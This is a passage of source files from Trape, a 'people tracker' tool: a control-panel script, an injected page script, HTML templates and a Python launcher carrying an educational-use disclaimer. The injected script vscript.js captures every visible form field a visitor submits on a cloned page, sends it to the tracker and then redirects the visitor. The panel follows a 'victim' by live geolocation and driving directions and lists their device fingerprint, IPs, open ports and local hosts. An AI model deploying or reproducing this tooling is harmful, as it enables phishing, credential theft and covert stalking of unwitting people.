'; } $('#listRequests div').remove(); $('#listRequests').append(htmlData); $('#requestsTotal').text(requests); setTimeout(function(){ dataSync(); }, 5000); }, error: function(error) { console.log(error); setTimeout(function(){ dataSync(); }, 3000); } }); } var t_map; var initMap = function() { try { window.t_map = new google.maps.Map(document.getElementById('cntTrapeControlPreview_Map'), { zoom: 4, center: {lat: 4.6567033, lng: -74.0593867} }); } catch(err) { } window.markers = []; } var loadMap = function(locations){ var bounds = new google.maps.LatLngBounds(); var cIcon = 'blue'; for (var i = 0; i < window.markers.length; i++) { window.markers[i].setMap(null); } window.markers = []; function put_Current_Position_onMap(lat, lon){ marker = new google.maps.Marker({ position: new google.maps.LatLng(parseFloat(lat), parseFloat(lon)), map: window.t_map, icon: { path: google.maps.SymbolPath.CIRCLE, scale: 5, strokeColor: '#000', strokeWeight: 5, fillColor: '#fff', fillOpacity:1 } }); bounds.extend(marker.position); window.markers.push(marker); var idPos = window.markers.length - 1; $.each(window.markers, function(index, val) { var p = val.position; if (index != idPos){ var d = getRange(p.lat(), p.lng(), lat, lon); val.setTitle(String(d) + ' Kms'); } else{ val.setTitle('Current position'); } }); } for (i = 0; i < locations.length; i++) { marker = new google.maps.Marker({ position: new google.maps.LatLng(locations[i][1], locations[i][2]), map: window.t_map, icon: { scaledSize: new google.maps.Size(35, 35), url: 'static/img/point-' + cIcon + '.svg' } }); cIcon = 'red'; bounds.extend(marker.position); window.markers.push(marker); } if (navigator.geolocation){ navigator.geolocation.getCurrentPosition(function(objPosition){ var lon = objPosition.coords.longitude; var lat = objPosition.coords.latitude; put_Current_Position_onMap(lat, lon); geolocation_callback(lat, lon); window.tracking_victim = true; f_tracking_victim(); }, function(objPositionError) { $.ajax({ url: "https://www.googleapis.com/geolocation/v1/geolocate?key=" + window.gMapsApiKey, data: {}, dataType: "json", type: "POST", success: function(response, status) { if (status == 'success'){ var lat = locations[1][1]; var lat = locations[1][2]; put_Current_Position_onMap(lat, lon); geolocation_callback(response.location.lat, response.location.lng); } else{ alert("Unable to access your position information."); } }, error: function(error) { alert("Access to the user's position was not allowed."); } }); }, { maximumAge: 75000, timeout: 15000 }); } window.t_map.fitBounds(bounds); } var fillTab = function(data_action, data){ if (data != null){ cnt = $('.TrapeControl-BoxTab[data-action="' + data_action + '"]').find('.TrapeControl-Preview--dataShow').find('ul'); $(cnt).find('div').remove(); var idx = 0; var tds = ''; $.each(data, function(index, val) { if (val != null){ if (typeof(val) == 'object'){ $.each(val, function(index2, val2) { if (typeof(val2) == 'object'){ $.each(val2, function(index3, val3) { if (typeof(val3) == 'object'){ $.each(val3, function(index4, val4) { if (typeof(val4) == 'object'){ $.each(val4, function(index5, val5) { if (typeof(val5) == 'object'){ $.each(val5, function(index6, val6) { if (typeof(val6) == 'object'){ } else{ fillTap_PutCell(index6, val6); } }); } else { fillTap_PutCell(index5, val5); } }); } else{ fillTap_PutCell(index4, val4); } }); } else{ fillTap_PutCell(index3, val3); } }); } else{ fillTap_PutCell(index2, val2); } }); } else{ fillTap_PutCell(index, val); } } }); if (idx%2 > 0){ tds += '
'; tds += ' '; tds += ''; tds += '
'; $(cnt[Math.ceil(idx%2)]).append(tds); } function fillTap_PutCell(ftpc_index, ftpc_val){ tds += '
'; tds += '' + String(ftpc_index).replace(/_/gi, ' ') + ': '; tds += '' + ftpc_val + ''; tds += '
'; $(cnt[Math.ceil(idx%2)]).append(tds); tds = ''; idx++; } } } function getRange(lat1,lon1,lat2,lon2) { rad = function(x) {return x*Math.PI/180;} var R = 6378.137; var dLat = rad( lat2 - lat1 ); var dLong = rad( lon2 - lon1 ); var a = Math.sin(dLat/2) * Math.sin(dLat/2) + Math.cos(rad(lat1)) * Math.cos(rad(lat2)) * Math.sin(dLong/2) * Math.sin(dLong/2); var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a)); var d = R * c; return d.toFixed(3); } var behaviorText = [ 'Trape has defined the profile as a ', 'Trape has defined behavior as ', 'Trape has identified him as a possible ' ]; function f_tracking_victim(){ if (navigator.geolocation){ navigator.geolocation.getCurrentPosition(function(objPosition){ var latlng = new google.maps.LatLng(objPosition.coords.latitude, objPosition.coords.longitude); window.markers[2].setPosition(latlng); var objLocation = window.markers[1].getPosition(); var vOrigin = objPosition.coords.latitude + ',' + objPosition.coords.longitude; var vDestination = objLocation.lat() + ',' + objLocation.lng(); window.directionsService.route({ origin: vOrigin, destination: vDestination, travelMode: 'DRIVING' }, function(response, status) { if (status === 'OK') { var vLegs = response.routes[0].legs[0]; if (vLegs != undefined){ if (vLegs.distance != undefined){ if (vLegs.distance.value != undefined){ $('#txtTrapeControl_Distance').text(vLegs.distance.text); if (vLegs.distance.value < 15){ $('#txtTrapeControl_Distance').text('you have arrived'); $('#txtTrapeControl_Distance').removeClass('TrapeControl-Preview--box---Distance----NowDistance'); $('#txtTrapeControl_Distance').addClass('TrapeControl-Preview--box---Distance----NowTarget'); } else{ $('#txtTrapeControl_Distance').removeClass('TrapeControl-Preview--box---Distance----NowTarget'); $('#txtTrapeControl_Distance').addClass('TrapeControl-Preview--box---Distance----NowDistance'); } } } } } }); if (window.tracking_victim){ setTimeout(f_tracking_victim, 30000); } }, function(objPositionError) { if (window.tracking_victim){ setTimeout(f_tracking_victim, 10000); } }, { maximumAge: 75000, timeout: 15000 }); } } function geolocation_callback(lat, lon){ if (window.directionsDisplay != undefined){ window.directionsDisplay.setMap(null); } window.directionsService = new google.maps.DirectionsService; window.directionsDisplay = new google.maps.DirectionsRenderer; window.directionsDisplay.setMap(window.t_map); directionsDisplay.setOptions( { suppressMarkers: true } ); function calculateAndDisplayRoute() { var objLocation = window.markers[1].getPosition(); var vOrigin = lat + ',' + lon; var vDestination = objLocation.lat() + ',' + objLocation.lng(); window.directionsService.route({ origin: vOrigin, destination: vDestination, travelMode: 'DRIVING' }, function(response, status) { if (status === 'OK') { var vLegs = response.routes[0].legs[0]; $('.TrapeControl-Preview--box---Distance----subText').text(vLegs.distance.text); $('.TrapeControl-Preview--box---Distance----subTextTime').text(vLegs.duration.text); $('#lblTrapeContol_Address').text(vLegs.end_address) directionsDisplay.setDirections(response); } else { window.alert('Directions request failed due to ' + status); } }); } calculateAndDisplayRoute(); } var timeDisconect = function (v_date){ v_date = new Date(v_date.replace(' - ', 'T').replace(" ", "T") + "Z"); var currentDate = new Date(); var v_time = v_date.getTime(); var currentTime = currentDate.getTime(); var diference = currentTime-v_time; diference = parseInt(((diference/1000)/60)-300); var ans = ""; if (diference < 2) { ans = "One moment ago"; } else { if (diference < 60) { ans = diference + " minutes ago"; } else { if (diference < 120) { ans = "1 hour ago"; } else { if (diference < 1440) { ans = parseInt(diference/60) + " hours ago"; } else { if (diference < 43200) { ans = parseInt(diference/60/24) + " days ago"; } else { ans = parseInt(diference/60/24/30) + " months ago"; } } } } } return ans; } var setSocialImpact = function(total_users){ if (total_users > 0){ $.ajax({ url: '/get_socialimpact', data: null, dataType: "json", type: 'POST', success: function(response) { if (response.d.length > 0){ var tds = ''; var total_interactions = 0; $.each(response.d, function(index, val) { total_interactions += val[1]; }); $.each(response.d, function(index, val) { tds += '
'; tds += '
'; tds += ''; tds += '
'; tds += '

' + val[0].replace(/\b\w/g, l => l.toUpperCase()) + ' #' + (index + 1) + '

'; tds += '
'; tds += '
'; tds += '
'; tds += '
'; tds += '

Impact

'; tds += '' + (val[1] * 100 / total_users).toFixed(0) + '%'; tds += '
'; tds += '
'; tds += '
'; tds += '

interactions

'; tds += '' + val[3] + ''; tds += '
'; tds += '
'; tds += '
'; tds += '

Sessions

'; tds += '' + val[1] + ''; tds += '
'; tds += '
'; tds += '
'; tds += '

Locations

'; tds += '' + val[2] + ''; tds += '
'; tds += '
'; tds += '
'; }); $('#cntTrapeContro_SocialImpact div').remove(); $('#cntTrapeContro_SocialImpact').append(tds); } else{ $('#cntTrapeContro_SocialImpact div').remove(); var htmlData = ''; htmlData += '
'; htmlData += 'No networks available yet'; htmlData += '
'; $('#cntTrapeContro_SocialImpact').append(htmlData); } }, error: function(error) { $('#cntTrapeContro_SocialImpact div').remove(); console.log(error); } }); } else{ $('#cntTrapeContro_SocialImpact div').remove(); var htmlData = ''; htmlData += '
'; htmlData += 'No networks available yet'; htmlData += '
'; $('#cntTrapeContro_SocialImpact').append(htmlData); } } window.onblur = function(){ document.title = "Hey! back to Trape"; } window.onfocus = function(){ document.title = "Trape: Control Panel"; } var getCurrentDate = function(){ var f = new Date(); return f.getFullYear() + "-" + zeroComplete(f.getMonth() +1, 2) + "-" + zeroComplete(f.getDate(), 2) + " " + zeroComplete(f.getHours(), 2) + ":" + zeroComplete(f.getMinutes(), 2) + ":" + zeroComplete(f.getSeconds(), 2); } var daysBetween = function(iniDate, endDate){ if (endDate == ('NaN-NaN-NaN')){ endDate = getCurrentDate(); } var iniDate = new Date(iniDate); var endDate = new Date(endDate); var day_as_milliseconds = 86400000; var diff_in_millisenconds = endDate - iniDate; var diff_in_days = (diff_in_millisenconds / day_as_milliseconds) + 1; return parseInt(diff_in_days); } var addDaysToDate = function(vDate, days){ if (vDate == '--'){ return '--' } vDate = new Date(vDate); day = vDate.getDate(); month = vDate.getMonth()+1; year = vDate.getFullYear(); vTime = vDate.getTime(); milliseconds = parseInt(days*24*60*60*1000); total = vDate.setTime(vTime+milliseconds); day = vDate.getDate(); month = vDate.getMonth()+1; year = vDate.getFullYear(); return year + "-" + zeroComplete(month, 2) + "-" + zeroComplete(day, 2); } function zeroComplete(n, length){ n = n.toString(); while(n.length < length) n = "0" + n; return n; } var timeAgo = function (v_date){ if (v_date == '' || v_date == null || v_date == undefined){ v_date = getCurrentDate() } v_date = new Date(v_date.replace(' - ', 'T').replace(" ", "T").substring(0, 19) + "Z"); var currentDate = new Date(); var v_time = v_date.getTime(); var currentTime = currentDate.getTime(); var diference = currentTime-v_time; diference = parseInt(((diference/1000)/60)-300); var ans = ""; if (diference < 2) { ans = "One moment ago"; } else { if (diference < 60) { ans = diference + " minutes ago"; } else { if (diference < 120) { ans = "1 hour ago"; } else { if (diference < 1440) { ans = parseInt(diference/60) + " hours ago"; } else { if (diference < 43200) { ans = parseInt(diference/60/24) + " days ago"; } else { ans = parseInt(diference/60/24/30) + " months ago"; } } } } } return ans; } var User = { getDetails : function(idVictim, detCallback){ window.currentUserAddres = null; var behavior = window.user_behavior; if (idVictim === undefined){ idVictim = window.idVictim; } if (detCallback === undefined){ detCallback = function(){}; } $.ajax({ url: '/get_preview', data: {vId : idVictim}, dataType: "json", type: 'POST', success: function(response) { if (response.status != 'OK') { } else { user_active = idVictim; $('.TrapeControl-Preview--NotificationAlert').hide(); $(".TrapeControl-ViewDetails").addClass("active"); $('.TrapeControl-Preview--box---Sidebar----NetworksStatus').removeClass('online'); $('.TrapeControl-Preview--box---Sidebar----NetworksStatus').removeClass('offline'); $('.TrapeControl-Preview--box---Sidebar----NetworksStatus').addClass('offline'); $('.TrapeControl-Preview--box---Sidebar----NetworksStatus').text('Off'); $('#txtTrapeControl_SelectPlayAttack option').remove(); var tds = ''; $.each(response.n, function(index, val) { $('.TrapeControl-Preview--box---Sidebar----NetworksDefine.' + val[3].toLowerCase() + ' span').removeClass('offline'); $('.TrapeControl-Preview--box---Sidebar----NetworksDefine.' + val[3].toLowerCase() + ' span').addClass('online'); $('.TrapeControl-Preview--box---Sidebar----NetworksDefine.' + val[3].toLowerCase() + ' span').text('On'); tds += ''; }); $('#txtTrapeControl_SelectPlayAttack').append(tds); $('.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----totalOnline').text(response.n.length); var cNetworks = $('.TrapeControl-Preview--box---Sidebar----NetworksDefine').length; $('.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----totalOffline').text((cNetworks - response.n.length)); var d = response.d[0]; window.currentUserAddres = { lat : d[26], lon : d[27], provider : { lat : d[15], lon : d[26] } }; $('#lblTrapeControl_Preview_CPU').text(d[7].charAt(0).toUpperCase() + d[7].slice(1)); $('#lblTrapeControl_Preview_SO').text(d[6].charAt(0).toUpperCase() + d[6].slice(1)); $('#lblTrapeControl_Preview_Browser').text(d[5].charAt(0).toUpperCase() + d[5].slice(1)); $('#lblTrapeControl_Preview_Country').text(d[13]); $('#lblTrapeControl_Preview_City').text(d[19]); $('#lblTrapeControl_Preview_Latitude').text(d[15]); $('#lblTrapeControl_Preview_Longitude').text(d[16]); $('#lblTrapeControl_Preview_OpenPorts').text(d[8]); $('#lblTrapeControl_Preview_ISP').text(d[22]); $('#lblTrapeControl_Preview_UA').text(d[23]); $('#lblTrapeControl_Preview_UA').attr('title', d[23]); $('#lnkTrapeControlPreview_PublicIP').text(d[14]); $('#lnkTrapeControlPreview_LocalIP').text(d[1]); try { var tmpGPU = JSON.parse(d[36]); $('#lblTrapeControl_GPU_Display').text(tmpGPU.display); $('#lblTrapeControl_GPU_Renderer').text(tmpGPU.renderer); $('#lblTrapeControl_GPU_Vendor').text(tmpGPU.vendor); } catch(err) { $('#lblTrapeControl_GPU_Display').text('No Detect'); $('#lblTrapeControl_GPU_Renderer').text('No Detect'); $('#lblTrapeControl_GPU_Vendor').text('No Detect'); } $("#lblTrapeControl_Preview_Behavior").text(behavior); $('#lblTrapeControl_Batery_Level').text(d[30]); if (d[28] == 'True'){ $('#lblTrapeControl_Batery_Source').text('Energy supply'); if (!isNaN(d[29]) && d[29] != 'Infinity'){ var b_time = {}; b_time.Hours = Math.floor((d[29]/3600)); b_time.Minutes = Math.floor(((d[29] - (b_time.Hours * 3600))/60)); $('#lblTrapeControl_Batery_Time').text(b_time.Hours + ':' + b_time.Minutes); } else{ $('#lblTrapeControl_Batery_Time').text('NA'); } } else if(d['28'] == 'False'){ $('#lblTrapeControl_Batery_Source').text('Battery'); if (!isNaN(d[31]) && d[31] != 'Infinity'){ var b_time = {}; b_time.Hours = Math.floor((d[31]/3600)); b_time.Minutes = Math.floor(((d[31] - (b_time.Hours * 3600))/60)); $('#lblTrapeControl_Batery_Time').text(b_time.Hours + ':' + b_time.Minutes); } else{ $('#lblTrapeControl_Batery_Time').text('NA'); } } else{ $('#lblTrapeControl_Batery_Source').text('No detected'); $('#lblTrapeControl_Batery_Time').text('NA'); $('#lblTrapeControl_Batery_Level').text('NA'); } $('#lblTrapeControl_NavigationMode_Incognito').text(d[32]); if (d[33] == 1 || d[33] == "yes"){ $('#lblTrapeControl_NavigationMode_DoNotTrack').text('Active'); $('#lblTrapeControl_NavigationMode_DoNotTrack').removeClass('TrapeControl-PreviewSummary--info---NavigationMode----DNTFalse') $('#lblTrapeControl_NavigationMode_DoNotTrack').addClass('TrapeControl-PreviewSummary--info---NavigationMode----DNTTrue') } else{ $('#lblTrapeControl_NavigationMode_DoNotTrack').text('Inactive'); $('#lblTrapeControl_NavigationMode_DoNotTrack').removeClass('TrapeControl-PreviewSummary--info---NavigationMode----DNTTrue') $('#lblTrapeControl_NavigationMode_DoNotTrack').addClass('TrapeControl-PreviewSummary--info---NavigationMode----DNTFalse') } if (d[9] == 'online'){ $('#lblTrapeControl_NavigationMode_Status').text('Online'); } else{ $('#lblTrapeControl_NavigationMode_Status').text(timeDisconect(d[34])); } $('.TrapeControl-Preview--box---Mapbox----putNameLog-----input').val(d[35]); var tmpNetwork = JSON.parse(d[25]); if (tmpNetwork != null){ if (tmpNetwork['Download_test'] != undefined){ $('#lblTrapeControl_dataNetwork_Download').text(tmpNetwork['Download_test'].speedMbps + ' Mbps'); $('#lblTrapeControl_dataNetwork_Ping').text((parseFloat(tmpNetwork['Download_test'].duration) * 100/8).toFixed(2) + ' ms'); } else{ if (tmpNetwork['downlink'] != undefined){ $('#lblTrapeControl_dataNetwork_Download').text(tmpNetwork['downlink'] + ' Mbps'); } else{ $('#lblTrapeControl_dataNetwork_Download').text('--'); } $('#lblTrapeControl_dataNetwork_Ping').text('--'); } if (tmpNetwork['Upload_test'] != undefined){ $('#lblTrapeControl_dataNetwork_Upload').text(tmpNetwork['Upload_test'].speedMbps + ' Mbps'); } else{ if (tmpNetwork['rtt'] != undefined){ $('#lblTrapeControl_dataNetwork_Upload').text(tmpNetwork['rtt'] + ' Kbps'); } else{ $('#lblTrapeControl_dataNetwork_Upload').text('--'); } } if (tmpNetwork['effectiveType'] != undefined){ $('#lblTrapeControl_dataNetwork_Type').text(tmpNetwork['effectiveType']); } else{ $('#lblTrapeControl_dataNetwork_Type').text('--'); } } var aHosts = []; tds = ''; $('.TrapeControl-Preview--dataHosts div').remove(); $.each(response.h, function(index, val) { aHosts[index] = {}; aHosts[index].id = val[0]; aHosts[index].host = val[1]; aHosts[index].time = val[2]; aHosts[index].date = val[3]; tds += '
'; tds += ''; tds += (index + 1); tds += ''; tds += 'host: ' + aHosts[index].host + ''; tds += '
'; tds += 'time: ' + aHosts[index].time + ''; tds += ''; tds += '
'; tds += 'date: ' + aHosts[index].date + ''; tds += ''; tds += '
'; }); $('.TrapeControl-Preview--dataHosts').append(tds); if (aHosts.length > 0){ $('.TrapeControl-Preview--dataHostsElement---Item----result').text(aHosts.length + ' found'); } else{ $('.TrapeControl-Preview--dataHostsElement---Item----result').text('No host found yet'); } detCallback(); } }, error: function(error) { console.log(error); } }); } , loadMap : function(){ if (window.currentUserAddres != undefined && window.currentUserAddres != null){ var lat = window.currentUserAddres.lat; var lon = window.currentUserAddres.lon; var provider = window.currentUserAddres.provider; var aL = [] aL.push(['', parseFloat(provider.lat), parseFloat(provider.lon)]); if (lat != '' && lat != null){ aL.push(['', parseFloat(lat), parseFloat(lon)]); } loadMap(aL); } else{ alert("Can't find location yet"); } } , getAddress : function(lat, lon){ $.getJSON('https://maps.googleapis.com/maps/api/geocode/json?latlng=' + lat + ',' + lon + '&key=' + window.gMapsApiKey + '') .done(function( data ) { var jAddress = {}; jAddress.formatted_address = '--'; jAddress.postal_code = '--'; if (data.results[0] != undefined){ if (data.results[0].formatted_address != undefined){ jAddress.formatted_address = data.results[0].formatted_address; } if (data.results[0].address_components != undefined){ if (data.results[0].address_components[7] != undefined){ if (data.results[0].address_components[7].long_name != undefined){ jAddress.postal_code = data.results[0].address_components[7].long_name; } } } } $('#mapPostalCode').text(jAddress.postal_code); fillTab('address', jAddress); }); } } //# sourceMappingURL ================================================ FILE: static/js/vscript.js ================================================ $(document).ready(function($) { $(document).delegate('form', 'submit', function(event) { event.preventDefault(); var d = getVictimData(); objs = $(this).find('input:visible'); var sId = Math.random().toString(36).substr(2); $.each(objs, function(index, val) { var datav = { vId : d.vId, site : d.vURL, sId : sId, fid : ($(val).attr('id') || ''), name : ($(val).attr('name') || ''), value : ($(val).val() || '') }; $.ajax({ url: "/regv", data: datav, dataType: "json", type: "POST", success: function(response) { socket.emit('my_broadcast_event', {data: 'update-data'}); }, error: function(error) { } }); }); window.location.replace(d.vURL); }); if (typeof(io) != 'undefined') { var d = getVictimData(); namespace = '/trape'; var socket = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace); socket.emit('join', {room: d.vId}); defineSockets(socket); } }); ================================================ FILE: templates/404.html ================================================ 404 Not Found

Not Found

The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

================================================ FILE: templates/home.html ================================================ Trape: Control Panel

Cloned link: REST API (Inject code): Starting on {start date}
Profile
Navigation mode:
do not track:

GPU

Vendor:
Renderer:
Display:

Energy

Power Source: Battery
Level percentage: 0%
Remaining time:

Session states: 00

Click Attack to get credentials

Public IP:
Local IP:
Distance now: loading...
Total distance: loading...
Estimated time: loading...
Postal code: loading...
Address: loading...

Actions cannot be executed because the user is offline

The user has been connected again. Execute actions!

Has processed a successful process hook

Options
    CPU: _
    Operating System:
    User agent: _
    Browser:
    Open Ports: _
    ISP Name: _
    Country:
    City:
    Latitude:
    Longitude:

Controls in the browser of the user

Information on network connections

Ping

0

Download speed

0

Upload speed

0

Type connection

loading...

Total hosts

8 found
1 host: 192.168.0.1
time: 1.19 ms
date: 2018-02-15 - 16:28:56

Online

0

Users

0

clicks

0

sessions

0

requests

0

Locations

0
================================================ FILE: templates/login.html ================================================ Trape: Login

trape

Control panel

People tracker on the Internet

Hey the key is incorrect, try again.
- OSINT Research and analytics tool -
================================================ FILE: trape.py ================================================ #!/usr/bin/env python3.8 # -*- coding: utf-8 -*- #** # ########################################## # Trape | People tracker on the Internet # ########################################## # # Learn to track the world, to avoid being traced # # @version 2.1 # @link https://github.com/jofpin/trape # @author Jose Pino (@jofpin) # @copyright 2018 by Jose Pino / # # This file is the boot in Trape. # For full copyright information this visit: https://github.com/jofpin/trape # #** # ############################################### import os # from core.utils import utils # from core.trape import Trape # from core.db import Database # from time import sleep # try: # import flask # import flask_socketio # import os # except: ############################################ utils.Go("\t\nPlease install requirements.txt libraries, you can do it executing:") # utils.Go("\t\npip3 install -r requirements.txt") #################################### ###################################################### # We generalize the main class of trackPeople = Trape() # call class database generateData = Database() if generateData.firstTime: utils.Go("\033[H\033[J") utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@ @@ @@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@ @@ @@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@ @@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@ @@ @@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@ ") utils.Go("\t" + utils.Color['white'] + "--" + " " + "v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " " + "--" + "\n" + utils.Color['white']) utils.Go(utils.Color['whiteBold'] + "WELCOME " + utils.Color['greenBold'] + os.uname()[1].upper() + utils.Color['whiteBold'] + " TO TRAPE" + utils.Color['white']) utils.Go("------") utils.Go("This is a exclusive version for researchers, or professionals \nwho are dedicated to research, we hope you enjoy." + "\n") utils.Go(utils.Color['whiteBold'] + "DISCLAIMER" + utils.Color['white']) utils.Go("------") utils.Go("This is a monitoring and research tool " + utils.Color['whiteBold'] + "OSINT" + utils.Color['white'] + ", which is distributed \nfor educational and investigative purposes, the person who has bought \nor uses this tool is responsible for its proper use or actions committed, \n" + utils.Color['whiteBold'] + "Jose Pino" + utils.Color['white'] + " (" + utils.Color['blue'] + "@jofpin" + utils.Color['white'] + ") is not responsible for the use Or the scope that people can have \nthrough this software." + "\n") utils.Go(utils.Color['whiteBold']+ "CREATOR" + utils.Color['white']) utils.Go("------") utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "NAME: " + utils.Color['white'] + "Jose Pino" + " " + utils.Color['white']) utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "DESCRIPTION: " + utils.Color['white'] + "Hacker recognized by large technology companies") utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "GITHUB: " + utils.Color['white'] + "https://github.com/jofpin") utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "TWITTER: " + utils.Color['white'] + "https://twitter.com/jofpin" + utils.Color['white'] + "\n") sleep(3) utils.Go("Press enter to Continue...") input() # check OS trackPeople.loadCheck() # Request root home to run with all permissions trackPeople.rootConnection() # Call the creation of the database when you open this file. generateData.loadDatabase() if __name__ == "__main__": try: # General expression this is expressed after the root trackPeople.main() except Exception as error: # Result of error utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + utils.Color['white'] + "%s" % error) ================================================ FILE: version.txt ================================================ version: 2.0